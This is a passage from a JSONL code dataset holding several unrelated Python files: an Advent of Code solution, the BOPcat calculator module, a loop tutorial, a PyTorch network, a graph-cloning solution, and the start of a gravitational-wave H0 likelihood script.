position+1)\n else:\n return find_co2_scrubber_rating(list_with_1s, position+1)\n\n\n\n\noxygen_generator_rating = find_oxygen_generator_rating(lines,0)[0]\nprint(\"Oxygen Rating:\", oxygen_generator_rating)\n\nco2_scrubber_rating = find_co2_scrubber_rating(lines,0)[0]\nprint(\"Carbon Rating:\", co2_scrubber_rating)\n\noxygen_generator_rating_int = int(oxygen_generator_rating,2)\nco2_scrubber_rating_int = int(co2_scrubber_rating,2)\n\nlife_support_rating = oxygen_generator_rating_int*co2_scrubber_rating_int\nprint(\"Life Support Rating:\",life_support_rating)\n","repo_name":"srutherford2000/advent-of-code-2021","sub_path":"12_3_2021/12_3_2021_part2.py","file_name":"12_3_2021_part2.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2705520635","text":"#!/usr/bin/env python\n\n# Definition of the CATCalc object\n\n# This module is part of the BOPcat package\n# available at https://github.com/ICAMS/BOPcat\n# distributed under GNU General Public License v3.0\n\nfrom .calc_bopfox import calc_ebs_bopfox, calc_efs_bopfox\nfrom .calc_bopfox import initialize_bopfox\nfrom .output import print_format\nfrom multiprocessing import cpu_count, Pipe, Process\nfrom .parallel import PBOPProc\nimport time\nimport sys\nfrom .variables import homedirectory\n\n\n# import mpi4py\n###########################################################################\nclass CATCalc:\n \"\"\"\n Defines a set of calculators to determine required properties.\n\n The calculators are stored as list of instances of the calculator.\n\n :Parameters:\n\t\n\t- *calculator*: str\n\n\t name of the calculator\n\n\t- *calculator_settings*: dict\n \t \n\t dictionary of calculator-specific parameters\n\n\t- *nproc*: int\n\n\t number of parallel processes\n\n\t ``None``: will not parallelize\n\n ``default``: number of cpu * 2\n\n\t- *controls*: instance of CATControls \n \n CATControls object to initialize parameters \n\n - *parallel*: string\n \n serial, multiprocessing, mpi \n \"\"\"\n\n def __init__(self, **kwargs):\n # self._init_msg()\n self.calculator = 'bopfox'\n self.calculator_settings = None\n self.nproc = 1\n self.controls = None\n self.docalculate = True\n self.structures = None\n self._atoms = None\n self._model = None\n self._calcs = None\n self.results = None\n self.parallel = 'serial'\n self.mpifile = None\n self.ini_magmoms = {}\n self.set(**kwargs)\n\n def _init_msg(self):\n print_format('Generating calculator', level=1)\n\n def set(self, **kwargs):\n if 'controls' in kwargs:\n self.controls = kwargs['controls']\n if self.controls is not None:\n self._unfold_controls()\n for key in kwargs:\n if key.lower() == 'calculator':\n self.calculator = kwargs[key]\n elif key.lower() == 'calculator_settings':\n self.calculator_settings = kwargs[key]\n elif key.lower() == 'model':\n self._model = kwargs[key]\n elif key.lower() == 'atoms':\n self.set_atoms(kwargs[key])\n elif key.lower() == 'parallel':\n self.parallel = kwargs[key]\n elif key.lower() == 'ini_magmoms':\n self.set_ini_magmoms(kwargs[key])\n elif key.lower() == 'controls':\n pass\n else:\n raise ValueError('Unrecognized key %s' % key)\n self.docalculate = True\n if self.nproc == 'default':\n self.nproc = cpu_count() * 2\n if self.nproc is None:\n self.nproc = 1\n\n def _unfold_controls(self):\n self.calculator = self.controls.calculator\n self.calculator_settings = self.controls.calculator_settings\n self.nproc = self.controls.calculator_nproc\n self.ini_magmoms = self.controls.data_ini_magmoms\n self.parallel = self.controls.calculator_parallel\n\n @staticmethod\n def calc_ebs(atom, kwargs):\n \"\"\"\n \tReturns the Atoms object with the calculated eigenvalues.\n\n :Parameters:\n \n - *atom*: instance of ASE Atoms object\n \n structure to calculate\n\n - *kwargs*: dict\n \n directives for calculator\n\t\"\"\"\n calculator = 'bopfox'\n if 'calculator' in kwargs:\n calculator = kwargs['calculator']\n if calculator.lower() == \"bopfox\":\n shift_Fermi = False\n for key, val in list(kwargs.items()):\n if key.lower() == \"shift_fermi\":\n shift_Fermi = val\n try:\n k_points = atom.info['k_points'][0]\n coord_k = atom.info['coord_k']\n except:\n print_format(\"Needs k-point data to continue\", level=3)\n return None\n cartesian = True\n if coord_k[0].lower() == 'd':\n cartesian = False\n out = calc_ebs_bopfox(atom, atom.get_calculator(), k_points=k_points\n , cartesian=cartesian\n , shift_Fermi=shift_Fermi)\n else:\n raise NotImplementedError(\"No options for %s\" \\\n % calculator)\n return out\n\n @staticmethod\n def calc_efs(atom, kwargs):\n \"\"\"\n Returns the Atoms object with the calculated energy, forces and \n stresses.\n\n :Parameters:\n \n - *atom*: instance of ASE Atoms object\n \n structure to calculate\n\n - *kwargs*: dict\n \n directives for calculator\n\t\"\"\"\n calculator = 'bopfox'\n if 'calculator' in kwargs:\n calculator = kwargs['calculator']\n if calculator.lower() == \"bopfox\":\n contribution = 'binding'\n atom_index = None\n required_property = atom.info['required_property']\n for key, val in list(kwargs.items()):\n if key.lower() == 'contribution':\n contribution = val\n elif key.lower() == 'atom_index':\n atom_index = val\n elif key.lower() == 'required_property':\n required_property = val\n if atom_index is None:\n if required_property in ['energy', 'stress']:\n atom_index = 'total'\n elif required_property in ['forces', 'stresses']:\n atom_index = 'all'\n out = calc_efs_bopfox(atom, atom.get_calculator()\n , required_property=required_property\n , contribution=contribution\n , atom_index=atom_index)\n else:\n raise NotImplementedError(\"No options for %s\" \\\n % calculator)\n return out\n\n @staticmethod\n def calc_def_ene(atom, kwargs):\n \"\"\"\n Returns the Atoms object with the calculated defect energy.\n \n The reference bulk structures are in atom.info['reference_atoms']. \n\n :Parameters:\n \n - *atom*: instance of ASE Atoms object\n \n structure to calculate\n\n - *kwargs*: dict\n \n directives for calculator\n\t\"\"\"\n bulk_ene = {}\n bulk_atoms = atom.info['reference_atoms']\n calculator = 'bopfox'\n if 'calculator' in kwargs:\n calculator = kwargs['calculator']\n if calculator.lower() == 'bopfox':\n contribution = 'binding'\n atom_index = 'total'\n for key, val in list(kwargs.items()):\n if key.lower() == 'contribution':\n contribution = val\n elif key.lower() == 'atom_index':\n atom_index = val\n elif key.lower() == 'required_property':\n required_property = val\n out = calc_efs_bopfox(atom, atom.get_calculator()\n , required_property='energy'\n , contribution=contribution\n , atom_index=atom_index)\n def_ene = out.get_potential_energy()\n for i in range(len(bulk_atoms)):\n out = calc_efs_bopfox(bulk_atoms[i]\n , bulk_atoms[i].get_calculator()\n , required_property='energy'\n , contribution=contribution\n , atom_index=atom_index)\n ene = out.get_potential_energy() / len(bulk_atoms[i])\n # reference atoms are elemental \n bulk_ene[bulk_atoms[i].get_chemical_symbols()[0]] = ene\n else:\n raise NotImplementedError(\"No options for %s\" \\\n % calculator)\n\n sym = atom.get_chemical_symbols()\n for s in sym:\n if s not in bulk_ene:\n raise ValueError(\"No reference energy for %s\" % s)\n def_ene -= bulk_ene[s]\n out = atom.copy()\n out.info[atom.info['required_property']] = def_ene\n return out\n\n @staticmethod\n def calculate(atom, kwargs):\n \"\"\"\n Returns the Atoms object with the calculated property.\n \n The required property is defined by atom.info['required_property']\n\n Calls :func:`calc_ebs`, :func:`calc_efs`, :func:`calc_def_ene`\n\n :Parameters:\n \n - *atom*: instance of ASE Atoms object\n \n structure to calculate\n\n - *kwargs*: dict\n \n directives for calculator\n\t\"\"\"\n required_property = atom.info['required_property']\n if not isinstance(required_property, str):\n required_property = required_property[-1]\n if required_property.lower() == \"eigenvalues\":\n out = CATCalc.calc_ebs(atom, kwargs)\n elif required_property.lower() in [\"energy\", \"forces\", \"stress\"\n , \"stresses\"]:\n out = CATCalc.calc_efs(atom, kwargs)\n elif required_property.lower() in [\"vacancy_energy\"]:\n out = CATCalc.calc_def_ene(atom, kwargs)\n else:\n print_format(\"Cannot calculate %s\" % required_property, level=3)\n out = None\n return out\n\n def clean(self):\n for i in range(len(self._calcs)):\n self._calcs[i].clean()\n\n def clear_atom(self, atom):\n delete = ['orbital_character']\n info = atom.info\n for i in delete:\n if i in info:\n info.pop(i)\n atom.info = info\n return atom\n\n def _is_same(self, at1, at2):\n out = True\n if at1 != at2:\n out = False\n # strangely comparison of ASE atoms is not enough\n if at1.info['strucname'] != at2.info['strucname']:\n out = False\n # only e,f,s can be calculated simulataneously\n if at1.info['required_property'] not in \\\n ['energy', 'forces', 'stress', 'stresses']:\n out = False\n if at2.info['required_property'] not in \\\n ['energy', 'forces', 'stress', 'stresses']:\n out = False\n return out\n\n def pack_atoms(self):\n \"\"\"\n Pack all properties for the same structure so do only one calculation\n of all properties for one structure. \n \"\"\"\n self._atoms_packed = []\n self._index_packed = []\n done = []\n for i in range(len(self._atoms)):\n if i in done:\n continue\n prop = self._atoms[i].info['required_property']\n if isinstance(prop, str):\n prop = [prop]\n index = [i]\n for j in range(len(self._atoms)):\n if i >= j:\n continue\n if self._is_same(self._atoms[i], self._atoms[j]):\n prop += [self._atoms[j].info['required_property']]\n index += [j]\n if True:\n self._atoms_packed.append(self._atoms[i].copy())\n self._atoms_packed[-1].info['required_property'] = prop\n self._index_packed.append(index)\n done += index\n\n def get_property(self, **kwargs):\n \"\"\"\n Returns list of calculated properties for all structures.\n\n Calls :func:`calculate`\n \n :Parameters:\n \n - *kwargs*: dict\n \n directives for calculator\n \"\"\"\n if self.docalculate:\n if self._model is None:\n raise ValueError(\"Needs model to continue.\")\n if self._atoms is None or self._atoms == []:\n raise ValueError(\"Needs atoms to continue.\")\n else:\n atoms = list(self._atoms_packed)\n calcs = [self._calcs[k[0]] for k in self._index_packed]\n start = time.time()\n if self.nproc in [1, None] or self.parallel in ['serial', False]:\n data, atoms = self._calc_serial(atoms, calcs, kwargs)\n elif self.parallel.lower() == 'multiprocessing':\n data, atoms = self._calc_multiprocessing(atoms, calcs, kwargs)\n elif self.parallel.lower() == 'mpi':\n data, atoms = self._calc_mpi(atoms, calcs, kwargs)\n else:\n raise NotImplementedError('No options for %s' % self.parallel)\n # map calculated atoms to original list\n for i in range(len(self._index_packed)):\n for k in range(len(self._index_packed[i])):\n self._atoms[self._index_packed[i][k]] = atoms[i]\n self.results = data\n end = time.time()\n # print 'time: ',end-start\n return self.results\n\n def _calc_serial(self, atoms, calcs, kwargs):\n data = [None] * len(self._atoms)\n assigned = False\n if 'required_property' in kwargs:\n required_property = kwargs['required_property']\n assigned = True\n for i in range(len(atoms)):\n if not assigned:\n required_property = atoms[i].info['required_property']\n if isinstance(required_property, str):\n required_property = [required_property]\n atom = atoms[i]\n atom.set_calculator(calcs[i])\n atom.info['required_property'] = required_property\n temp = CATCalc.calculate(atom, kwargs)\n for k in range(len(required_property)):\n data[self._index_packed[i][k]] = \\\n temp.info[required_property[k]]\n atoms[i] = temp\n return data, atoms\n\n def _check_loading(self, times):\n \"\"\"\n modify todo based on processing times of previous iteration\n \"\"\"\n maxdt = 0.1 * sum(times) / len(times)\n if (max(times) - min(times)) < maxdt:\n return\n maxi = times.index(max(times))\n mini = times.index(min(times))\n # transfer last item in proc with max time to proc with min time\n totransfer = self.todo[maxi].pop(-1)\n self.todo[mini].append(totransfer)\n\n def _calc_multiprocessing(self, atoms, calcs, kwargs):\n data = [None] * len(atoms)\n assigned = False\n if 'required_property' in kwargs:\n required_property = kwargs['required_property']\n assigned = True\n # prepare atoms and processes\n procs = []\n pipes = []\n for N in range(self.nproc):\n todo_atoms = []\n todo_calcs = []\n pipes.append(Pipe(duplex=False))\n for k in self.todo[N]:\n if k < len(atoms):\n todo_atoms.append(atoms[k])\n todo_calcs.append(calcs[k])\n procs.append(PBOPProc(CATCalc.calculate, pipes[N]\n , todo_atoms, todo_calcs, kwargs))\n try:\n # run processes\n for p in procs:\n p.start()\n\n # get output atoms\n out = [op.recv() for (op, ip) in pipes]\n out_atoms = []\n ptimes = []\n for N in range(len(out)):\n out_atoms.append(out[N][0])\n ptimes.append(out[N][1])\n # get calculated properties\n for N in range(len(out_atoms)):\n for j in range(len(out_atoms[N])):\n if not assigned:\n required_property = \\\n out_atoms[N][j].info['required_property']\n if isinstance(required_property, str):\n required_property = [required_property]\n props = [out_atoms[N][j].info[rprop] for rprop \\\n in required_property]\n data[self.todo[N][j]] = props\n atoms[self.todo[N][j]] = out_atoms[N][j]\n\n # close communicators and processes\n for j in range(len(pipes)):\n pipes[j][0].close()\n for p in procs:\n p.join()\n\n except KeyboardInterrupt:\n for p in procs:\n p.terminate()\n exit()\n except:\n raise\n # map and reshape data\n temp = [None] * len(self._atoms)\n for i in range(len(self._index_packed)):\n for k in range(len(self._index_packed[i])):\n temp[self._index_packed[i][k]] = data[i][k]\n data = list(temp)\n\n # check load balancing\n self._check_loading(ptimes)\n return data, atoms\n\n def _calc_mpi(self, atoms, calcs, kwargs):\n if self.mpifile is None:\n from mpi4py import MPI\n self.mpifile = '%s/bopcat/mpiproc.py' % homedirectory()\n data = [None] * len(atoms)\n assigned = False\n if 'required_property' in kwargs:\n required_property = kwargs['required_property']\n assigned = True\n # spawning a processing is more straightforward compared to \n # making the code MPI compatible\n # spawn also every call of get_property because MPI is not\n # picklable and is problematic for process management\n mpicomm = MPI.COMM_SELF.Spawn(sys.executable, args=[self.mpifile]\n , maxprocs=self.nproc)\n\n status = MPI.Status()\n sent = [False] * self.nproc\n s = time.time()\n while False in sent:\n # wait for procs to be ready\n res = mpicomm.recv(source=MPI.ANY_SOURCE, tag=0, status=status)\n tag = status.Get_tag()\n source = status.Get_source()\n if sent[source]:\n continue\n if tag != 0:\n continue\n # send jobs to proc\n todo_atoms = []\n todo_calcs = []\n for k in self.todo[source]:\n if k < len(atoms):\n todo_atoms.append(atoms[k])\n todo_calcs.append(calcs[k])\n # send jobs to workers\n mpicomm.send((todo_atoms, todo_calcs, kwargs), dest=source, tag=1)\n sent[source] = True\n s = time.time()\n # get results\n out_atoms = [None] * self.nproc\n ptimes = [None] * self.nproc\n status = MPI.Status()\n while None in out_atoms:\n res = mpicomm.recv(source=MPI.ANY_SOURCE, tag=2, status=status)\n source = status.Get_source()\n if out_atoms[source] is not None:\n continue\n out_atoms[source] = res[0]\n ptimes[source] = res[1]\n # disconnect communicator\n # mpicomm.Free()\n mpicomm.Disconnect()\n\n # get calculated properties\n for N in range(len(out_atoms)):\n for j in range(len(out_atoms[N])):\n if not assigned:\n required_property = \\\n out_atoms[N][j].info['required_property']\n if isinstance(required_property, str):\n required_property = [required_property]\n props = [out_atoms[N][j].info[rprop] for rprop \\\n in required_property]\n data[self.todo[N][j]] = props\n atoms[self.todo[N][j]] = out_atoms[N][j]\n\n # map and reshape data\n temp = [None] * len(self._atoms)\n for i in range(len(self._index_packed)):\n for k in range(len(self._index_packed[i])):\n temp[self._index_packed[i][k]] = data[i][k]\n data = list(temp)\n\n # check load balancing\n self._check_loading(ptimes)\n return data, atoms\n\n def __calc_mpi(self, atoms, calcs, kwargs):\n sortd = [(len(atoms[i]), i) for i in range(len(atoms))]\n sortd.sort()\n sortd.reverse()\n sortd = [s[1] for s in sortd]\n assigned = False\n if 'required_property' in kwargs:\n required_property = kwargs['required_property']\n assigned = True\n\n mpicomm = MPI.COMM_SELF.Spawn(sys.executable, args=[self.mpifile]\n , maxprocs=self.nproc)\n # mpi message tags\n # 0: READY 1:DONE 2:EXIT 3:START\n s = time.time()\n\n out_atoms = [None] * len(atoms)\n N = 0\n status = MPI.Status()\n while None in out_atoms:\n # ask which worker is ready or contain data\n res = mpicomm.recv(source=MPI.ANY_SOURCE, tag=MPI.ANY_TAG\n , status=status)\n source = status.Get_source()\n tag = status.Get_tag()\n if tag == 0:\n # send task\n if N < len(atoms):\n # get atom\n todo_atom = atoms[sortd[N]]\n todo_calc = calcs[sortd[N]]\n todo_atom.info['pid'] = sortd[N]\n mpicomm.send(([todo_atom], [todo_calc], kwargs)\n , dest=source, tag=3)\n N += 1\n else:\n mpicomm.send((None, None, None), dest=source, tag=2)\n elif tag == 1:\n # get calculated atom\n out_atoms[res[-1].info['pid']] = res[-1]\n\n # get calculated properties\n data = [None] * len(atoms)\n for N in range(len(out_atoms)):\n if not assigned:\n required_property = out_atoms[N].info['required_property']\n if isinstance(required_property, str):\n required_property = [required_property]\n props = [out_atoms[N].info[rprop] for rprop in required_property]\n data[N] = props\n atoms[N] = out_atoms[N]\n # map and reshape data\n temp = [None] * len(self._atoms)\n for i in range(len(self._index_packed)):\n for k in range(len(self._index_packed[i])):\n temp[self._index_packed[i][k]] = data[i][k]\n data = list(temp)\n return data, atoms\n\n def _atoms_to_procs(self):\n # returns list of atoms indices corresponding to each proc\n if self.nproc in [None, 1]:\n return\n # sort atoms according to size:\n sortd = [(len(self._atoms_packed[i]), i) for i in \\\n range(len(self._atoms_packed))]\n sortd.sort()\n sortd.reverse()\n self.todo = [[] for i in range(self.nproc)]\n nats = [0] * self.nproc\n maxatoms_proc = sum([len(at) for at in self._atoms_packed]) / self.nproc\n for i in range(len(sortd)):\n l = i % self.nproc\n # if nats[l] > maxatoms_proc:\n # for j in range(len(nats)):\n # if nats[j] < maxatoms_proc:\n # l = j\n # break\n if (i / self.nproc) % 2 == 1: l = -(l + 1)\n nats[l] += len(self._atoms_packed[sortd[i][1]])\n self.todo[l].append(sortd[i][1])\n for i in range(len(self.todo)):\n nats = [len(self._atoms_packed[k]) for k in self.todo[i]]\n\n def __atoms_to_procs(self):\n if self.nproc in [None, 1]:\n return\n # sort atoms according to size:\n sortd = [(len(self._atoms_packed[i]), i) for i in \\\n range(len(self._atoms_packed))]\n sortd.sort()\n # sortd.reverse()\n sortd = [s[1] for s in sortd]\n print(sortd)\n self.todo = []\n # nats = [len(at) for at in self._atoms_packed]\n nats = [len(self._atoms_packed[k]) for k in sortd]\n maxatoms_proc = sum(nats) / self.nproc\n print((sum(nats), maxatoms_proc))\n s = 0\n for N in range(self.nproc):\n todo = []\n nat = 0\n for i in range(s, len(nats)):\n nat += nats[i]\n todo += [sortd[i]]\n if nat > maxatoms_proc:\n s = i + 1\n break\n self.todo.append(todo)\n for i in range(len(self.todo)):\n nats = [len(self._atoms_packed[k]) for k in self.todo[i]]\n\n def add_initial_moments(self, atom):\n mag = 1\n if 'spin' in atom.info:\n mag = atom.info['spin']\n if mag == 1:\n return atom\n if 'initial_magnetic_moments' in atom.info:\n ini_mom = atom.info['initial_magnetic_moments'][0]\n atom.set_initial_magnetic_moments(ini_mom)\n return atom\n mom = []\n sym = atom.get_chemical_symbols()\n ini_mom = self.ini_magmoms\n for i in sym:\n if i in ini_mom:\n mom.append(ini_mom[i])\n else:\n # raise ValueError('Provide initial magnetic moments for %s.'%i)\n mom.append(3.0)\n atom.set_initial_magnetic_moments(mom)\n return atom\n\n def set_atoms(self, atoms):\n \"\"\"\n Set the structures for calculation. The calculators\n and results are reset.\n\n :Parameters:\n \n - *atoms*: list\n \n list of ASE Atoms objects\n \"\"\"\n # self._atoms = atoms\n self._atoms = [at.copy() for at in atoms]\n self._atoms = [self.add_initial_moments(at) for at in self._atoms]\n # reset calculators\n if self._calcs is not None:\n self.clean()\n self._calcs = None\n self.get_calculators()\n self.structures = self.get_structures()\n # reset results\n self.results = None\n self.docalculate = True\n self.pack_atoms()\n self._atoms_to_procs()\n\n def set_model(self, model):\n \"\"\"\n Set the model for the calcuator. The calculators\n and results are reset.\n\n :Parameters:\n \n - *model*: instance of calculator-specific model\n \n model used for the calculator\n \"\"\"\n self._model = model\n # reset results\n self.results = None\n self.docalculate = True\n # update calculators\n self.get_calculators()\n\n def get_atoms(self):\n \"\"\"\n Returns a list of the structures each an ASE Atoms object\n assigned for calculation.\n \"\"\"\n return self._atoms\n\n def get_calculator(self, i, update):\n \"\"\"\n Returns the calculator. If None will initialize \n the calculator. \n\n\t:Parameters:\n\n\t - *update*: bool\n \n True: will update the model used by the calculator\n \"\"\"\n if self.calculator.lower() == 'bopfox':\n if update:\n assert (self._calcs is not None)\n calc = self._calcs[i]\n calc.set_modelsbx(self._model)\n else:\n calc = initialize_bopfox(self.calculator_settings\n , self._model, self._atoms[i])\n else:\n raise NotImplementedError('No options for %s' % self.calculator)\n return calc\n\n def get_calculators(self):\n \"\"\"\n\tReturns a list of calculators corresponding to each structure\n\n calls :func:`get_calculator`\n \"\"\"\n # if self._calcs is None:\n # calc = self.get_calculator()\n # self._calcs = [None]*len(self._atoms)\n # else:\n # calc = self.get_calculator(update=True)\n # for i in range(len(self._atoms)):\n # self._calcs[i] = calc.copy() \n if self._calcs is None:\n self._calcs = [None] * len(self._atoms)\n update = False\n else:\n update = True\n # parallelization does not work for library call, so do\n # not parallelize\n # if self.nproc == 1:\n if True:\n for i in range(len(self._atoms)):\n self._calcs[i] = self.get_calculator(i, update=update)\n else:\n div = int(len(self._atoms) / self.nproc) + \\\n (len(self._atoms) % self.nproc > 0)\n for i in range(div):\n procs = []\n pipes = [None] * len(self._atoms)\n todo = list(range(i * self.nproc, i * self.nproc + self.nproc))\n for N in todo:\n if N < len(self._atoms):\n pipes[N] = Pipe(duplex=False)\n procs.append(cProcess(self.get_calculator, pipes, N, update))\n try:\n for p in procs:\n p.start()\n except KeyboardInterrupt:\n for p in procs:\n p.terminate()\n exit()\n for N in todo:\n if N < len(self._atoms):\n self._calcs[N] = pipes[N][0].recv()\n pipes[N][0].close()\n for p in procs:\n p.join()\n return self._calcs\n\n def get_structures(self):\n \"\"\"\n\tReturns a list of the system ID of all the structures\n\t\"\"\"\n if self.structures is None:\n atoms = self._atoms\n strucs = []\n if atoms is not None:\n for i in range(len(atoms)):\n sID = ''\n IDs = atoms[i].info['system_ID']\n if IDs is not None:\n sID = IDs\n strucs.append(sID)\n self.structures = list(strucs)\n return self.structures\n\n def get_model(self):\n return self._model\n\n\nclass cProcess(Process):\n def __init__(self, target, pipes, i, update):\n Process.__init__(self)\n self._target = target\n self._pipes = pipes\n self._i = i\n self._update = update\n\n def run(self):\n calc = self._target(self._i, self._update)\n self._pipes[self._i][1].send(calc)\n self._pipes[self._i][1].close()\n\n\nif __name__ == \"__main__\":\n from ase.lattice import bulk\n from .bopmodel import read_modelsbx\n import numpy as np\n\n atoms = []\n for a in np.linspace(2.7, 3.1, 5):\n atoms.append(bulk('Fe', a=a))\n calc = CATCalc()\n calc.set_atoms(atoms)\n model = read_modelsbx(filename= 'models.bx')[0]\n calc.set_model(model)\n print((\"Energies: \", calc.get_property(required_property='energy')))\n calc.docalculate = True\n","repo_name":"ICAMS/BOPcat","sub_path":"bopcat/catcalc.py","file_name":"catcalc.py","file_ext":"py","file_size_in_byte":30640,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"11551386421","text":"#!/usr/bin/env python\n#-*- coding:utf8 -*-\n# auther; 18793\n# Date:2019/5/17 22:49\n# filename: break语句.py\nfor item in range(10):\n #当循环到3的时候退出整个循环\n if item == 3:\n break\n print(\"Count is:{0}\".format(item))","repo_name":"hujianli94/Python-code","sub_path":"2.程序流程语句/循环语句/break语句.py","file_name":"break语句.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"69800854324","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n\n # First 2D convolutional layer, taking in 1 input channel (image),\n # outputting 32 convolutional features, with a square kernel size of 3\n self.conv1 = nn.Conv2d(1, 32, 3, 1)\n # Second 2D convolutional layer, taking in the 32 input layers,\n # outputting 64 convolutional features, with a square kernel size of 3\n self.conv2 = nn.Conv2d(32, 64, 3, 1)\n\n # Designed to ensure that adjacent pixels are either all 0s or all active\n # with an input probability\n self.dropout1 = nn.Dropout2d(0.25)\n self.dropout2 = nn.Dropout2d(0.5)\n\n # First fully connected layer\n self.fc1 = nn.Linear(9216, 128)\n # Second fully connected layer that outputs our 10 labels\n self.fc2 = nn.Linear(128, 10)\n\n # x represents our data\n def forward(self, x):\n # Pass data through conv1\n x = self.conv1(x)\n # Use the rectified-linear activation function over x\n x = F.relu(x)\n\n x = self.conv2(x)\n x = F.relu(x)\n\n # Run max pooling over x\n x = F.max_pool2d(x, 2)\n # Pass data through dropout1\n x = self.dropout1(x)\n # Flatten x with start_dim=1\n x = torch.flatten(x, 1)\n # Pass data through fc1\n x = self.fc1(x)\n x = F.relu(x)\n x = self.dropout2(x)\n x = self.fc2(x)\n\n # Non-pooled tensor\n x_p = x\n x = self.avgpool(x)\n # Flatten the pooled tensor\n x = x.flatten(start_dim=1)\n\n # Return both\n return x, x_p\n","repo_name":"chowned/rgb-d_uda_multi_task_learning","sub_path":"bottleneck/custom_resnet.py","file_name":"custom_resnet.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34366293393","text":"# Definition for a undirected graph node\n# class UndirectedGraphNode:\n# def __init__(self, x):\n# self.label = x\n# self.neighbors = []\n\nclass Solution:\n # @param node, a undirected graph node\n # @return a undirected graph node\n def cloneGraphDFS(self, node):\n if not node:\n return None\n vmap = {node.label: UndirectedGraphNode(node.label)}\n self.dfs(node, vmap)\n return vmap[node.label]\n \n def cloneGraphBFS(self, node):\n if not node:\n return None\n vmap = {node.label: UndirectedGraphNode(node.label)}\n first = node\n\n q = collections.deque([node])\n while q:\n node = q.popleft()\n for n in node.neighbors:\n if n.label not in vmap:\n vmap[n.label] = UndirectedGraphNode(n.label)\n q.append(n)\n vmap[node.label].neighbors.append(vmap[n.label])\n return vmap[first.label]\n \n def dfs(self, node, vmap):\n for n in node.neighbors:\n if n.label not in vmap:\n vmap[n.label] = UndirectedGraphNode(n.label)\n self.dfs(n, vmap)\n vmap[node.label].neighbors.append(vmap[n.label])\n","repo_name":"uohzxela/fundamentals","sub_path":"graphs/clone_graph.py","file_name":"clone_graph.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32170250024","text":"\"\"\"\nScript to calculate H0 likelihood for Bright GW event(s)\n\nTathagata ghosh\n\"\"\"\n\nimport numpy as np\nimport healpy as hp\nfrom scipy.stats import norm, truncnorm\nfrom scipy.integrate import simpson\nfrom scipy.interpolate import interp1d\nfrom astropy.cosmology import FlatLambdaCDM\nfrom astropy import constants as const, units as u\nfrom ligo.skymap.io.fits import read_sky_map\nimport pandas as pd\nimport json\n\n\n\nclass RedshiftEvolutionModel :\n def __init__ (self, gamma=4.59, k=2.86, zp=2.47) :\n self.gamma = gamma\n self.k = k\n self.zp = zp\n \n def RedshiftEvolutionPowerLaw (self, z) :\n return (1+z)**(self.gamma)\n\n def RedshiftEvolutionMadau (self, z) :\n C = 1+(1+self.zp)**(-self.gamma-self.k)\n return C*((1+z)**self.gamma)/(1+((1+z)/(1+self.zp))**(self.gamma+self.k))\n \n def RedshiftEvolutionConstant (self, z) :\n return 1\n \n \nclass H0likelihood :\n\n def __init__ (self, bright_siren_information, Om0=0.3, H0min=20, H0max=140, H0bins=100, redshift_bins = 10000, filename=\"test.csv\", zcut=None, redshift_evolution= None, gamma=None, k=None, zp=None) :\n\n # redshift-luminosity distance relation\n cosmoref = FlatLambdaCDM(H0=70, Om0=Om0, Tcmb0=2.725)\n if zcut is None :\n zcut = 10\n zref = np.arange (0,zcut+0.01,0.01)\n dlref = cosmoref.luminosity_distance (zref).value\n self.dlH02z = interp1d (dlref*70, zref)\n diff_comoving_vol = interp1d(zref, cosmoref.differential_comoving_volume(zref).to(u.Gpc**3 / u.sr).value)\n \n cval = const.c.to('km/s').value\n \n # H0 array\n self.H0bins = H0bins\n self.H0_array = np.linspace ( H0min, H0max, self.H0bins)\n self.Om0 = Om0\n\n if redshift_evolution=='PowerLaw' :\n if gamma is not None:\n self.model = RedshiftEvolutionModel (gamma=gamma).RedshiftEvolutionPowerLaw\n else :\n self.model = RedshiftEvolutionModel().RedshiftEvolutionPowerLaw\t\n elif redshift_evolution=='Madau' :\n if gamma is not None and k is not None and zp is not None:\n self.model = RedshiftEvolutionModel (gamma=gamma, k=k, zp=zp).RedshiftEvolutionMadau\n else :\n self.model = RedshiftEvolutionModel().RedshiftEvolutionMadau\n elif redshift_evolution is None:\n self.model = RedshiftEvolutionModel().RedshiftEvolutionConstant\n \n print(f'Assuming a {redshift_evolution} redshift evolution model')\n \n with open(bright_siren_information, \"r\") as bright_siren_info:\n bright_siren_information_dictionary = json.load(bright_siren_info)\n \n self.bright_siren_dictionary = {}\n \n for event in bright_siren_information_dictionary.keys () :\n\n self.bright_siren_dictionary [event] = {}\n\n for em_info in bright_siren_information_dictionary [event]['Counterparts'].keys() :\n\n em_name = bright_siren_information_dictionary[event][\"Counterparts\"][em_info][\"Name\"]\n \n skymap = bright_siren_information_dictionary [event] [\"Skymap\"]\n counterpart_ra = bright_siren_information_dictionary [event] ['Counterparts'] [em_info] [\"Parameters\"] [\"counterpart_ra\"]\n counterpart_dec = bright_siren_information_dictionary [event] ['Counterparts'] [em_info] [\"Parameters\"] [\"counterpart_dec\"]\n \n # skymap\n (prob, distmu, distsigma, distnorm), metadata = read_sky_map (skymap, distances=True, moc=False, nest=True)\n \n # pixel corresponding to sky position of identified galaxy\t\n npix = len(prob)\n nside = hp.npix2nside (npix)\n counterpart_pix = hp.ang2pix (nside, np.pi/2 - counterpart_dec, counterpart_ra, nest=True)\n \n # counterpart information\n counterpart_muz = bright_siren_information_dictionary [event] ['Counterparts'] [em_info] [\"Parameters\"] [\"counterpart_cz\"]/cval\n counterpart_sigmaz = bright_siren_information_dictionary [event] ['Counterparts'] [em_info] [\"Parameters\"] [\"counterpart_sigma_cz\"]/cval\n a = (0.0 - counterpart_muz) / counterpart_sigmaz\n counterpart_z_array = np.linspace (0.5*counterpart_muz, 2*counterpart_muz, redshift_bins)\n counterpart_pdf = truncnorm (a,5, counterpart_muz, counterpart_sigmaz).pdf (counterpart_z_array)\n \n # redshift prior\n dVc_by_dz = diff_comoving_vol (counterpart_z_array)\n pz = self.model 